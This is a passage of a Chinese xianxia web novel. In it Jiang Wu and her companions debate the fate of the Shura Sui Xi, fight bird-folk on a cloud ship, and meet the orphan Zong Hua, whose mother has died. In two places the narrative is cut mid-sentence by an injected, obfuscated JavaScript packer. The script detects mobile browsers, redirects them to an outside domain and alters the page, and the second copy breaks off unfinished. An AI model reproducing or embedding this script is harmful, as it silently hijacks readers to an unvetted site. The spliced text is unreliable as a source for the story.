雾沅将煮好的茶分别倒入茶杯之中,“先坐吧,此事也是寂满先发现的,所以不得不将大家召集在一处商讨对策。” 姜芜在圈椅中坐好,抬眸看向沉闷的众人,率先开口道:“是有关于化龙之事吗?” 商扶庭一目十行看完师门给的回信,随即关好窗户,提着太初剑走过来在姜芜身侧坐好,“并非事关化龙,而是关于睢羲。” 姜芜两指捏着茶杯边缘,来回晃着其中颜色澄亮的茶汤,漫不经心地说道:“有关睢羲?我们今日聚集于此处讨论一个死人对我们后续的影响吗?” 商扶庭抬眸看了姜芜一眼,有些不满于她此事的态度和语气,但依旧压制着自己心中的烦躁,缓缓地说着自己的见解,“我们现下无法证明睢羲已死,现有的书籍或者雾沅、寂满的印象中,都未有关于修罗死亡的记载,所以想问问你,修罗死后会有何种迹象......” 雾沅看着姜芜的神情,抬手打断了商扶庭的话,“姜芜,今夜你会同我们讲出你同睢羲的过往吗?” 姜芜放下手中的茶杯,唇角带笑地看向在坐的几人,“怎么,我的往事对于你来说很重要吗?” 雾沅颔首,“重要,我需要知晓你们二人对彼此的态度,或者你直接言明你对于睢羲死一事的真实想法。” 姜芜笑着叹了一口气,看向众人的眼神中充满了无奈,“说了你们又不信,反而一个劲地追问我,同样的问题翻过来覆过去地问了不下数次,在我这里得到了无数个同样的答案,现下还要来问我,你们到底是想知晓我的答案,还是想从我口中听到你们想要的答案?他到底做了何事,让你们如此惧怕他?” 沈确蹙眉,义正言辞地对姜芜说:“修罗的存在,本身便是一件让人感到惧怕的事情,修士再如何修炼,都无法与修罗比肩。” 商扶庭知晓他们无论如何都不会从姜芜的口中知晓她与睢羲的曾经,过多的询问只会招致她的不耐烦,而在荆州所发生的一切,两人都将对方放于心上无疑,这些都是他所看在眼中的,尤其是挑明萧舒延便是睢羲时,他心中再多的疑惑都化作了合理,只是一些两人都心知肚明的难以言述陈横在姜芜和睢羲二人之间,而且这件事应该是无解的。 或许便是姜芜所要做的,继承太初道尊遗志,削弱修罗一族势力,但是一个修罗居然想着要帮人族,这个理念让商扶庭觉得可笑,而且他想不通缘由。 “睢羲会附身之法,宗华的出现过于蹊跷,我们怀疑睢羲现下可能附身于他。毕竟睢羲是大修罗,只是斩魄剑而已,并不能伤他分毫。” 姜芜垂眸,她低头抿了一口热茶,茶水滚烫从她的口中一路焚烧下去,消磨着她心中的情绪。 “不会,睢羲心口有旧伤,你当时有着堪称渡劫期修士的修为,那一剑又刺中了他的心脏,所以后续还需要我再解释吗?” 寂满不解地问道:“心口旧伤?他那么强,是谁伤了他?” 沈确说:“若是我猜得没错的话,应该是太初道尊所伤吧。” 姜芜笑着说:“是,确实是段怀野所伤,而且段怀野便是那时死亡的。” “为什么?”寂满伸出左手和右手的两根食指,拿到姜芜面前晃了晃,“他们两个是有仇吗?为何非要拼到你死我活的地步,而且你和他们两个任何一个关系不是很好吗?莫非是什么话本故事?” 寂满一脸兴奋地看了看众人,见无人附和他之后,讪讪地收敛了手指和脸上的笑容。 沈确喘了几口粗气,她立刻拍桌而起,“休要辱我开山祖师爷!太初道尊怎会心悦一个修罗?!” “稍安勿躁,不要臆想错了,没有人说段怀野心悦我。”姜芜笑着摇了摇头,“段怀野的所作所为都是为了人族,包括封印无幻之境,同苍旻做有关灵气的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460965|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交易,在昆仑山设下禁制。他杀睢羲是为了削弱修罗族的势力,却不曾想到自己会神陨在此,死前也拖着残躯做了很多事情。” 商扶庭心中一怔,胸腔间有些发慌,他眼神复杂地看着姜芜,心绪百感交集,话到唇边的否定被他硬生生地吞了下去。 雾沅问道:“你同睢羲为何又会走到今日这种地步?” “观念不同,分道扬镳很正常。”姜芜看向雾沅,眼神诚恳,“其实我还是很认同段怀野的所作所为,否则我今日也不会同你们坐在此处,这般心平气和地谈着话。但是他不这么认为,毕竟多年前他也是同百衢约定过要守护无幻之境的。” “你?一个修罗?认同太初道尊的理念?”沈确震惊地看着姜芜,“这也太天方夜谭了吧,传闻修罗族内没有人伦理念,他们甚至会随意丢弃刚出生的幼子,兄弟姐妹之间也会出现厮杀,根本不会有兄恭弟友一说,甚至会随意进行苟/合/交/配。” 姜芜无奈地叹了一息,“你以人族角度衡量修罗族,自然何事都是错的,若是反过来呢?不照样如此,再者为何人族便要循规蹈矩,你所遵循的为何一定是正确的呢?只是害怕自己被打成异类而已,毕竟从众比特例要安全许多。” “不对,你说的不全对。”商扶庭看向姜芜,“人族发展至今靠得便是血缘纽带延伸出的大家关系,他们同舟共济,戮力齐心,才能在风雨中屹立不倒,若是人族像妖族亦或是修罗族那般散乱,早就被两族瓜分并吞噬殆尽,根本不会有现下这般坐在同一张桌子上谈话的可能。从众并非错误,这只是在森罗万象之中找到的最合适的道路,它不一定是最好的,但是一定是最符合现下发展的,特例虽然危险,但是开创新世纪,需要特异独行者。” 姜芜忍俊不禁,“你这么说倒是让我想起一个不成熟的想法,若是能建立一处府司,设立律令,以三族领头人签订,违反律令者按照罪行大小来论罪处罚,或许世道会太平许多,也不会像现下这般凌乱。” 寂满惊讶地看着姜芜,忍不住叫嚷道:“你这个想法也太给人族面子了吧,区区人族,朝生暮死,如同蝼蚁一般,居然还要我妖族同他们称兄道弟?人族诡计多端,万一这府司落到人族手中,借机打压妖族呢?就像当初段怀野骗我父亲一般,那该如何?真是说的比唱的好听。” 姜芜抬手点了点自己的额角,“修罗族同妖族啊,有时候便是太信赖武力可解决一切,从而忘记了有时候要智取,人族在这方面做得便很好,因为弱小,因为武力不及其他二族,所以他们更擅长使用计谋。” 寂满冷哼一声,“阴险狡诈,卑鄙小人......” 寂满话音一顿,窗户突然被罡风吹开,一支坚硬的羽毛突然从外袭来,擦过他的脸颊,钉在了众人之间的桌面上。 商扶庭立刻提剑走到了窗口处,看着一旁混乱的甲板,“羽族?为何出现在此?阿确,救人!”说完,他便从窗口一跃而起,在半空中从羽族人手中救下了一个四五岁的孩童。 “什么人?!” 一个男羽人先是回头看了一眼自己的双翼,见少了几片翎羽后,转头恶狠狠地盯着商扶庭,随即半收控住双翼,朝着后者俯冲了下去。 “敢损我羽翼,你去死吧!” 商扶庭将孩童放置一旁,他运转起体内的真元,太初剑随他心意飞出鞘身,直逼男羽人。 男羽人见状迅速旋身后撤,双翼收拢护在身体两侧,随即像一只游隼一般,直线拉高与太初剑的距离,随即迅速俯冲,他自信以自己的速度绝对能拉开同太初剑的距离,而且他的速度极快,完全能够让商扶庭来不及反应。 商扶庭丝毫不惧地看着以极快速度俯冲而来的男羽人,二指并拢做剑指,随意地在面前一划,一股纯臻之气冲天而起,擦过男羽人的脸颊,硬生生地削下了他的一只翅膀。 鲜血瞬间喷洒了出来,断翼从半空中掉在甲板上,男羽人失去平衡瞬间,瞬间坠落并摔倒在地。 突如其来的变故让所有人都愣在了原地,普通人更是从未见过现下这种阵仗,又是飞天羽人,又是御剑仙人,喷出来的鲜血都有三丈高。 男羽人神情震惊地看着自己的断翼,随即愤怒地看向商扶庭,爬起身冲了过去,咬牙切齿地道:“我杀了你!” 女羽人伸手将暴怒的男羽人拦了下来,她面无表情地看着商扶庭,“敢问阁下是?” 姜芜打了个哈欠,她靠在窗边向下看着,“这羽人长得真是奇怪啊,长了一对鸟翼,上半身是人,双腿却是鸟爪,看起来像是半妖,为何不能算作妖呢?” 63. 翎羽 “五行道宗,商扶庭。”商扶庭抬手将太初剑握在手中,“羽族常年隐匿于幽州的巨树之森中,今日为何在此作乱,伤害无辜百姓?” 女羽人羽游神情冷淡地看着商扶庭,“今日是我管教属下无方,先给各位赔不是了。但是我们今日登上这云舟是来寻人的,还请各位行个方便,只要找到人,我们立刻便走。” 沈确问道:“你们要寻何人?” “喂,五行道宗的人,你们跟羽族费什么话?”青衣女修手持长鞭,手臂上鲜血汩汩,染透衣衫,“莫非你们还预备同他们这种妖类讲道理吗?” 羽游不理会青衣女修的嘲讽,她一一扫过云舟上的修仙之人,“这所云舟上混入了妖族,我们今夜前来便是来捉拿一条黑蛟龙。只要捉到这条蛟龙,我们立刻便走。” 寂满闻言双手捂住胸口,震惊的神情中夹杂了几分喜悦,“蛟龙?他们叫我蛟龙哎,我以为他们会喊我蛟蛇呢。” 姜芜神情有些无奈,她转头看着寂满,“你似乎有些太容易满足了,他们可是来捉你的哦。” 羽游耳力了得,立刻便将寂满和姜芜的对话听了完全,她立刻展开红蓝色翎羽的双翼向着二人所在的二楼房间窗口冲去,速度之快让人措手不及。 寂满见状大叫一声,“姜芜!救我!” 雾沅迅速反应,挥袖之间蝶丝顺势而出,飞速朝着羽游刺去。 羽游迅速收拢双翼,将自己笼罩起来,雾沅的蝶丝击在那对羽翼上没有留下任何的痕迹,当羽游再次张开双翼时,眼前白光一闪,不得不退到甲板之上。 “嘁。” 羽游觉得脸颊到脖颈的这处皮肤传来一阵火辣辣的疼痛,伸手却触摸到一手的血水,她方才分明躲开了那蝶妖的进攻,却不知被何物击中,速度比她还要快,她抬眸不解地朝着二楼的窗口看去。 姜芜挑眉,唇角勾起,面上的笑意带着一丝挑衅,“要我出面帮你们解决吗?” 商扶庭面色铁青,“不必,我可以自己解决。” 羽游见商扶庭上前半步,她立刻抬手打断后者,扬声对二楼的姜芜说:“你便是玃如大人所说的‘不可知人’?” “看来你家大人对于我的评价很高嘛。”姜芜饶有兴趣地看着羽游,“如何?关于我的话,他还说什么了?” 羽游如实道:“说您不知过去,更窥不见未来,就像是一个不存在之人,但是此世间并无二位大人不知不晓之事,那么您的身份便只有一个。” 姜芜翻出窗户纵身而下,缓步走向羽游,饶有兴趣地问道:“所以他们猜出我是何人了吗?” 羽游神情警惕地看着朝她走过来的姜芜,轻轻地吐出一个字,“神。” 此话一出,众人纷纷看向姜芜,有惊诧、有质疑,平凡人甚至聚集在一处对着姜芜施礼,口中祈求着神能够祛除妖孽、庇佑他们。 羽游说:“毕竟除了这个猜想之外,我们找不到其他更合理的解释了,您为何不可知?能给我个答案吗?” 姜芜面上的笑意更浓,“神?你们考虑得未免有些太多了,此间哪还有神的存在?你要不要再猜猜看?我给你三次机会,第三次若是还答错,你的脑袋我便收下了。” 男羽人羽言捂着自己受伤的翅膀,上前厉声道:“我们凭什么要猜?” “是啊,凭什么呢?”姜芜伸手轻轻一指地上的断翼,“若是猜对了,我帮你把断掉的双翼接上如何?断了一只翅膀,不能再飞翔的滋味不好受吧,双翼对于你们羽族来说是非常重要的存在吧?” 羽言冷哼一声,“我宁愿余生再也飞不起来,你怎能如此轻视生命,用一条命去换我双翼健全?!” 姜芜笑着说:“不想换也没有关系,不如回答我几个问题吧。” 羽游嗤笑一声,“好有趣的计谋,你一开始便没有打算让我猜你的身份,你早便想如此吧?” “那又如何?”姜芜挑眉,“你也可以不换,但我没有任何损失,选择权在你,不在我。” 羽游敛眸,她轻轻地呼出一口浊气,再次抬眸看向姜芜,内心做了几分挣扎,此时眼神异常坚定,“你想问什么?我未必能够知晓并回答你。” 姜芜说:“一个问题,一个要求。问题是你们常年久居幽州,为何突然要同那三个妖族来打压长灵族,真的只是为了杀掉妖王吗?要求便是我要见玃如和狌狌。” 寂满惊讶地看向雾沅,“什么什么?玃如和狌狌?他们两个怎么从大荒跑出来了?棘手啊,真棘手。” 雾沅面色凝重,“不止他们二人,还有一人。” 寂满有些头疼地拍了拍额头,“棘手啊,更棘手了,一会等姜芜回来可以好好问问她。” 羽游说:“我可以答应带你去见二位大人,正好三位大人也想见见您,至于那个问题,等你治好我弟弟,我会在您到达并州时给予您答案。” 姜芜双眸含笑,“我说到做到。”说完,她抬手虚空抓起掉落在地上的断翼,从指尖弹出一粒鲜血打在羽言的伤口上,赤红色的光芒在后者的伤口处大盛。 羽言痛得嘶吼起来,他跪伏在地上,双眸赤红,疼痛淹没他的神志,他甚至无法感觉到身体的存在,只想将残留的翅根从身上扯下。 姜芜厉声道:“控制住他!” 羽游半信半疑地看着姜芜,随即立刻扑上去按住羽言的双肩,神情焦急地说:“阿弟,阿弟,你忍一忍,马上便不疼了!” 羽言翅根的伤口处疯狂地长出肉芽,蠕动着上前抓向离体的断翼,牵扯着它回到原本的身体之中。 一道长鞭破空而来,打向了姜芜施法的手臂。 “姜芜!” 商扶庭立刻上前,挡下了那击长鞭。 宗华大喊,“神仙姐姐,小心!” 戚诃如同鬼魅一般,趁着所有人不注意来到了姜芜的身后,手持长刀刺穿了后者的胸腔。 宿凌薇立刻飞身而下,击退戚诃。 戚诃见状迅速抽/出长刀,飞身后撤。 云舟不知何时已经停在了扬州渡口,戚诃同胡赞已经登上了云舟。 戚诃震臂甩去长刀上的鲜血,他看着商扶庭,神情桀骜,“商小友好久不见,没想到的你修为精进得如此之快,毒童在何处?” 姜芜的唇角淅淅沥沥地流出鲜血,她毫不在意地抬手擦去,加快了手上的速度,给羽言接好了断翼。 戚诃神情冰冷地看向姜芜,他的双眸微微一眯,“已经如此这般了,还能苦苦支撑吗?我刀上毒的滋味好受吗?” 羽游见羽言已经平复了下来,转而愤怒地盯着戚诃,随即她怒吼一声,腾空而起,翎羽大展,如同风暴一般冲向戚诃二人。 宿凌薇上前扶住姜芜,立刻着手治愈着她的伤口,不解地问道:“方才为何不躲啊?!” “小伤而已,无碍。” 雾沅同寂满一前一后从窗口飞身而下。 寂满迅速走到姜芜身侧,垂眸看着后者身上的伤口,神情焦急地说:“你是不是傻啊?那破鸟人的翅膀有你的命重要吗?” 姜芜伸手按了按眉心,有气无力地说:“你们真是吵得我头疼,都说了我无碍。” 羽言率先认出了寂满,“阿姐,是蛟龙!” 雾沅上前将寂满挡在身后,“你们自身都难保,还想强行带寂满回去吗?” 羽游从蛊虫群中脱身,她擦了一把脸上的血迹,垂眸看了姜芜一眼,“今夜你为救我阿弟受如此重伤,我便给你一个面子,先不带走寂满。”说完,她给了姜芜一支赤红色的翎羽。 “改日你到并州,处理好一切后,若是想见三位大人,可以立刻焚烧此翎羽,我立刻便到。”说完,羽游吹了一声呼哨,带着所有的羽族人退出的云舟。 姜芜无奈地笑了一声,“我的面子真不值钱啊。”说完,她偏头吐出一口鲜血,身体在宿凌薇的搀扶下无力地瘫坐在地。 商扶庭迅速收了太初剑,快步走上前查看姜芜的伤势,“你无事吧?” 姜芜捂着胸前的伤口站了起来,“小伤,你们记得抹掉云舟上普通人的记忆,否则会引来大麻烦的。” 戚诃居高临下地看着姜芜,“大麻烦?今日你死到临头了,还在想着其他人吗?” 姜芜抬眸看向戚诃,“以你的修为还不足以杀死我,今日一击不足以你认清现实吗?” 戚诃双眸危险地眯了起来,冷声道:“直接杀了你?那可真是太便宜你了,我会用蛊毒一点一点将你折磨至死!” 姜芜笑着说:“挺好。” 商扶庭转身挡在姜芜面前,并示意宿凌薇先带姜芜离开,“戚门主,自扬州一别已经许久未见了,不知您现下准备去往何处?” 宗华见状急急忙忙地跟了上去。 胡赞上前,神情诧异地看着商扶庭,“商小友莫非不知吗?看来五行道宗还未知会你们,现下九州尽数修士已经前往并州抵抗作乱的妖族,你的师门怕是几日前便已经到达了并州。” 商扶庭蹙眉,自从听过寂满欲化龙的前因后果,本以为只是几只比较棘手的妖怪,但现下九州修士尽数赶往并州,连师门也已经出动,再加之今夜从姜芜同羽人谈话得知,并州有知晓未来与过去的妖怪,怕是所有人的行动他们皆尽数掌握,已经不是棘手那么简单的事情了。 商扶庭摇头,“我并不知晓。” “那你们此行要前往何处?” “冀州。” 宿凌薇将宗华挡在门外,一脚踢开房门,把姜芜搀扶到床榻上,火急火燎地解着她的衣裳,并用戾气为她止血疗伤,“你觉得如何?濯濯?” 姜芜神情有些无奈,“我都说了,只是小伤,莫要如此着急。” 宿凌薇看着姜芜身上的伤口以极其缓慢地愈合,眼神怜惜地问道:“你 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“濯濯,你如此的义无反顾是习惯了睢羲托底吗?” 姜芜眨了眨双眸,眼前一片朦胧,随即她合上双眸笑道:“当然不是,我有我自己的考量和决定,并不是因为有谁托底,我才敢去做,是因为我有把握做成此事。” “即便过程不尽人意?但你总不能让关心你的人担忧。” “即便过程不尽人意,即便结果也不随我意。” 宿凌薇无奈地叹了一口气,帮姜芜脱下了身上破损的衣物,换上了干净的里衣,“安心睡吧。”说完,她便起身往外走去,轻手轻脚地合上了房门。 夜半,姜芜睡眼朦胧地起身,体内余毒愈烧愈烈,她摇摇晃晃地起身走到桌上灌了几杯凉茶,随后又躺在了窗边的罗汉床上,她伸手推开窗户,夜风徐徐而来,四下寂静,空中只有云舟运转的嗡鸣声。 姜芜感受着凉如水的夜风袭身,意识昏昏沉沉地进入了梦中,她依稀想起自己杀死袁星月的那日,无幻之境中正值长夜之时。 那日无风,黄沙平息,漫天星河。 姜芜缩在冰凉的天河水中,血迹斑斑的衣裳随意地堆放在岸边,她快速地搓洗着手上的血迹,却发觉怎样都无法洗干净,而袁星月的死状如同鬼魅一般在她的脑海中不断地重映。 “我诅咒你,永生永世不能得偿所愿!” 她气急败坏地一拳砸向水面,片刻后又无助地将脸埋进了双手之中。 “天气凉,不要泡太久,会生病的。” 姜芜察觉到一团温热覆到了自己的肩膀上,她迅速转身躲开那处温暖,神情惊恐地看着睢羲,然后将自己沾着血迹的双手藏进了水中,垂着双眸,黯然伤神。 睢羲见状便将自己的手收了回来,“发生何事了?” 姜芜摇了摇头,她垂眸敛眸避开睢羲的视线,也不去看他苍白疲态的脸,怕怒火和不甘将她的理智吞噬殆尽。 睢羲将干净的衣裳放在岸边,步入天河之中,强硬地拉过姜芜的手,细致地清洗着上面的血迹,“明日不要再出去了,没有用的。” 姜芜挣扎着缩回自己的手,动作飞快地拨着水流上岸,她随意地擦干身上的水珠,裹着衣服往巨树的方向走去。 “你今日回来的很晚,肚子饿了吗?” 姜芜不语,她蜷缩在床榻上,听到睢羲的话直接将被子扯过头顶,做了一只缩头乌龟,身上似有似无的血腥味在一瞬间达到了顶峰。 睢羲走到床边,伸出手预备拍一拍鼓鼓囊囊的被子。 姜芜立刻掀开被子坐了起来,正准备透气,却看到立在床边的睢羲,她一脸惊恐地问道:“你做何事?” 姜芜蹙眉,血腥味让她胸腹间一阵翻腾,不等睢羲说话便伏在床榻边干呕了起来。 睢羲一惊,他侧身坐在了床榻边,伸手想替姜芜拍一拍后背,却停留在半空中迟迟未落下,最终只是给她递了一块手帕。 “濯濯,有好一些吗?” 姜芜点了点头,索性侧身枕在了自己的手臂上,她合着双眸,眼泪却止不住地溢出,打湿睫毛后从眼角落下。 “是反感我碰你吗?是会不舒服吗?” 姜芜双耳仅能听到一阵不存在的蜂鸣声,她睁开双眸看着睢羲,确认自己的手上没有血迹以后,才拉过后者的手搭在了自己的肩膀上。 “我刚刚洗干净了,可能还有一些气味,不要嫌弃我好吗?下次我会处理干净的。” 姜芜吸了吸鼻子,有些无助地看着睢羲,“就这样拍一拍我便好了。” 睢羲蹙眉,他把姜芜抱至自己的腿上,圈进怀中,动作轻柔地拍着她的脊背,“不要再继续下去了,将来有一天你会后悔的。” 姜芜合着双眸,“不会的,我再试一次,还有越迦柯。” 64. 白糖 姜芜睡醒时,天光已经大亮,她起身洗漱了一番,挑了件淡蓝似白的衣裙穿在身上,随后便靠在罗汉床的软枕上看着窗外的晴空出神。 “进来。” 姜芜听到房门被敲响,神情懒散地换了个姿势,并喊外面的人进来。 宗华端着早点走了进来,他绕过屏风,将托盘放在了罗汉床上的矮桌上,“神仙姐姐,你还好吧?” 姜芜应了一声,笑着说:“我好多了,谢谢你送来的早饭。”说完,她便起身搬来了凭几靠着,用勺子搅着碗中的白粥。 “商道长说马上要下船了,让神仙姐姐准备准备。” “好。” 宗华见姜芜一直在搅着碗中的白粥,似是没胃口的模样,便从怀中摸了一个瓷罐出来,他先是撒了一些白糖在掌心中,当着姜芜的面吃了下去,随后才说:“神仙姐姐,你是不是没有胃口啊?我这里有一些白糖,拌在白粥里很好吃的,我之前生病发高烧没有胃口,我娘便是这么给我做的。” 姜芜抬眸看了宗华一眼,然后笑着把粥碗往他的方向推了几寸。 宗华呆愣在了原地,他看着姜芜的侧脸,看着她伸手拨开垂落的碎发,就像是拨开了山雾,让她的面容更加的清晰,眉眼秾丽,眼尾收束成一道令人遐想的线。 “你来找我的事情,从应不知晓吗?” 宗华回神,立刻往粥碗中撒着白糖,为刚才的失神而感到懊恼,“不......不知道,我没有同他说。” “那你来寻我是何事?有事求我帮忙吗?”姜芜端过粥碗,她舀了半勺粥尝了尝,忍不住多喝了几口,“是想让我救活你的娘吗?” 宗华怔怔地看着姜芜,“神仙姐姐,你......你是怎么知道的?我有表现得这么明显吗?” 姜芜轻笑了一声,“我随便猜得而已,你母亲是如何去世的?而且你为何会确定我一定便能救活你的母亲?” 宗华指着自己的双眸,“我这双眼睛看到过很多的人与实物,你同所有人都不一样,所以我便想着试试看,或许便有希望呢?而且,昨晚你也出手救就那个男羽人,我从未见过枯木逢春、起死回生之术。” 宗华说完之后便垂下了手,十分苦涩地笑了一声。 姜芜吃着碗中的白粥,“你还未告诉我,你母亲是怎么去世的呢。” 宗华绞着手指,嚅嗫道:“具体我记不清了,但是哥哥说母亲是长灵族,长灵族的女子生下孩子后会逐渐衰老直至死亡。” 姜芜问道:“你父亲是鬼族现任鬼王吗?” 宗华低下了头,“应该是吧,我也不知晓,他们从不告诉我这些。” 姜芜挑眉,她抬眸看向宗华,随即打了一道戾气入他体内,“你被封印过吗?为何记忆如此残缺?” 宗华震惊地看着姜芜,双手捂住了自己的胸口,轻斥道:“你怎么可以随便看我的记忆,即便你是神仙姐姐也不可以。” 姜芜忍俊不禁,“你母亲叫何名字,修罗同长灵族也算是旧相识,长灵族盘踞并州便是段怀野授意,世代看守无幻之境的封印。” 商扶庭敲了敲姜芜的房门,然后推门走了进来,“云舟马上便要到冀州渡口了,我们要准备下船了。” 宗华的双眸中擦出一簇亮光,他上前了半步,殷切地看着姜芜,“我娘叫常晓芙。” “晓芙......?” 商扶庭闻言绕过屏风走了进来,他看了宗华一眼,随后又看向了姜芜,“常晓芙?七仙之一的常晓芙?” 姜芜蹙眉,神情有些痛苦,记忆瞬间被拉向了那个雨夜,常晓芙扑倒在泥水之中,一脸惊恐地看着她,怯生生地喊着她姐姐。 宗华见状试探地问道:“神仙姐姐和商道长是认识我娘吗?” 姜芜放下手中的勺子,合上双眸有些不适应地揉搓着自己的眉心,“晓芙死了吗?是何时死的?” “原来神仙姐姐真的认识我娘。”宗华急促地说,“我娘,我娘是去年春月去世的。” 商扶庭神情复杂,最终变成了震惊,“去年吗?” 姜芜看着宗华,“你都已经这么大了吗?你下面还有弟妹吗?” 宗华用力地点了点头,神情激动地说:“有,有,我还有个妹妹,不过妹妹同我是双生。” 姜芜问道:“长灵族女子的孕期是多久,同人族一样也是十个月吗?” 宗华说:“大差不差?” 姜芜看向宗华,“你今年多大?” 宗华回道:“我哥哥说我今年十六岁。” 姜芜低头掐指一算,“换算成人族年龄的话,也差不多是十六岁。我最后一次见你娘时,她身怀有孕,若是你之后没有弟妹,当时大约便是你同你妹妹了。” 宗华的眼神充满了希望,“既然神仙姐姐同我娘是旧相识,应该可以帮我救我娘吧。” 姜芜轻轻地摇了摇头,“若是你娘真的是因为长灵族的体质而死,天道如此,就像四季轮回,花开花落,春去秋来,不是随意能够干预更改的。” 宗华神情一愣,眼中的光慢慢地灰败了下去,他垂着头,长长地舒了一口气,“谢谢神仙姐姐,麻烦您了。” 姜芜见状心有不忍,便伸手摸了摸宗华的头发,“我也不知晓该如何安慰你,因为即便是神仙也无法更改。” 宗华摇了摇头,双眸红红地看着姜芜,“神仙姐姐,不用安慰我了,我早就知晓会有这么一天了。虽然不愿意放弃,但是现下不得不放弃了,即便是有些不甘心。” 姜芜蹙眉,听着宗华的话心海一片翻腾,她看着后者的双眸,莫名回忆起梦中的血腥味,不过梦中一片暖烘烘的,而此时房间内窗户大开,清晨的冷风席卷进来,洗涤着为数不多的温意。 “你哥哥要天书来做何用?” “天书?”宗华泪眼婆娑地看着姜芜,“天书可以复活的娘吗?” 姜芜摇了摇头,“我并不知晓,所谓的天书内容不过只是一本杂记,里面蕴含的神力很重要,或许天书的神力能复活你娘,毕竟那是接近创世神的存在,又或许不能,毕竟是娲皇补天后产生。” 宗华擦干了眼泪,摇着头说:“我不知晓我哥哥用天书做何事。” 一阵鼓声从窗外传来,商扶庭抬眸向窗外看了一眼。 “云舟到冀州渡口了,准备下船吧。”商扶庭上前拍了拍宗华的肩膀,“宗华,去收拾收拾。” 姜芜起身穿好鞋子,从纳袋中取了一件黑红色的大氅披在身上,她理着系带,见商扶庭站在原地不动,便抬眸去看他,“还有其他的事情?” 商扶庭问道:“你杀了宗华的母亲?” 姜芜摇头,“没有,当时她有了身孕,我也不至于丧心病狂到如此。有些传闻听听罢了,不要一直放在心上。” 商扶庭默不作声地看着姜芜,恍然间想起了昨晚那个迷离的梦境。 梦中的景象无论何时何地都是昏暗的,做梦人像是睁不开双眸,到处一片朦胧,身体不受控制,像是提线木偶一般向前走着。 很快,商扶庭便听到了水流声,眼前豁然开阔,一条自天空云层中奔腾而下的河流出现在荒芜颓圮的大地上,四下无风,烈日当空,一片开阔。 “天呐,你是人族修士吗?” 商扶庭闻言看了过去,只见姜芜头发未束地坐在河边的一块石头上,此时正扭着身体向他看来,脸上全是好奇与惊喜,同他平日里见到的姜芜大相径庭。 姜芜穿着一身轻薄宽松的黑衣,脚踝浸泡在河水之中,另一只手拿着一只骨质的梳子,笑吟吟地看着商扶庭。 “你怎么不说话呀?你是哪里人?这里很危险的,你不应该来这里。” 姜芜见商扶庭一直不说话,便起身朝他走了过去,她赤脚踩在沙地上,没走几步脚趾上便沾满了沙砾,她垂眸有些不满地看着自己的双脚。 “呀,我刚洗干净的。” 睢羲伸手把姜芜抱了起来,重新让她坐在了石头上,俯身用手舀起河水,替她冲洗着脚上的沙砾。 “别过去,危险。” 姜芜晃了晃脚上的水珠,不解地垂眸看着睢羲,“他只是个人族修士而已啊,为何会危险?” “不要过去,能来到此地的人族修士,修为境界必然不低,很危险。”说完,睢羲用帕子擦干姜芜脚上的水珠,抱起她离开了河边。 姜芜伏在睢羲的肩膀上,朝着商扶庭摆了摆手,“小修士,下次见。” 姜芜抬手在商扶庭的面前晃了晃,“你在想何事?这么入神?该下船了。” 商扶庭回神,看着面前人的面容逐渐同梦中人重叠,姜芜面上略带疲惫,同他梦中明媚如春的模样相差甚远。 “你怎么憔悴成这样?” 姜芜诧异地摸了摸自己脸,“有吗?可能是昨夜未睡好,不必在意。走吧,下船。”说完,她便向外走去。 商扶庭跟在了姜芜身后,继续道:“我昨夜梦见了你,梦中的你无忧无虑,不像现下这般,是因为他后续对你不好吗?” 姜芜停下脚步,她扭头不解地看向商扶庭,“你为何总对我的私事感兴趣?” 商扶庭辩解道:“我不是那个意思,我只是觉得……” 姜芜有些不耐地打断商扶庭,“不要总是你觉得,也不要总是想当然的来猜测我之前的事情。商扶庭,我的过去包括我同睢羲之前如何,现下又如何,同我目前的所作所为没有任何关联。你与其处处提防着我们,不如想想一直未现身的百衢,他才是你的敌人。” 商扶庭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜芜回忆了片刻,“之前是去过,但是太多年已经忘记了,一会在这茶摊上问问吧。” 宿凌薇问道:“你们去河津做何事?” 寂满如实道:“河津有一天门,我要去跃天门,借助天门的力量化龙。” 宿凌薇疑惑地上下打量了一番寂满,“你本身不是可以修行到一定程度可以凭借天雷化龙吗?跃天门未必适合你,再者鲤鱼跃天门会化作龙鱼,与真龙还是相差十万八千里的。” 寂满闻言垂下了头,自暴自弃地说:“没办法啊,谁让我不好好修行,到现下才蜕了一层皮。” “你身上的戾气是姜芜给的吧?这样也没让你再次突破?”宿凌薇不解地看着寂满,随即神情惋惜地去看姜芜,“濯濯,你每次都这么浪费戾气给别人。” 商扶庭蹙眉,“戾气这种东西同真元、妖力不一样吗?为何要说浪费?” 宿凌薇撇了撇嘴,“给不相干的人可不就叫浪费吗?” 寂满的脸一下子涨成了猪肝色,想反驳宿凌薇但是又不觉得她这句话哪里有错误,只能把自己憋了个死去活来。 宿凌薇见状笑着说:“濯濯,晚上点个炒猪肝吃。” 姜芜看了一眼寂满的脸色,笑着说:“正好补补血。” 突然,一道铃铛声突然在空中炸开。 宿凌薇周身一愣,突然神情痛苦地捂住了双耳,她咬牙说:“这里怎么都有长灵族?” “大胆修罗!竟然私自逃离无幻之境!” 一个身材高大魁梧的男人,身上披着一件土黄色的斗篷,怒目圆睁地盯着宿凌薇,手持一根等身高的木制手杖,正朝着后者飞袭而来,一串黄铜铃铛挂在顶端正发出急促的声音。 姜芜迅速起身,抬手掐诀,指尖弹出一道戾气击落了手杖上的那串铃铛,随后将宿凌薇护在了身后。 宿凌薇晃了晃头,铃铛声一停,那如同钻心般的疼痛才如潮水一般退去。 “濯漪!” 常奉眠从远处跑近,身上戴的银饰随着她的动作响成一片,少女身上穿了粉色的纱裙,外面穿了件保暖用的兽皮制的长褙子,她抬手拍着常胜的臂膀说:“爹爹,你老糊涂了?那是濯漪啊!怎么可能是修罗,你老眼昏花看错了。” 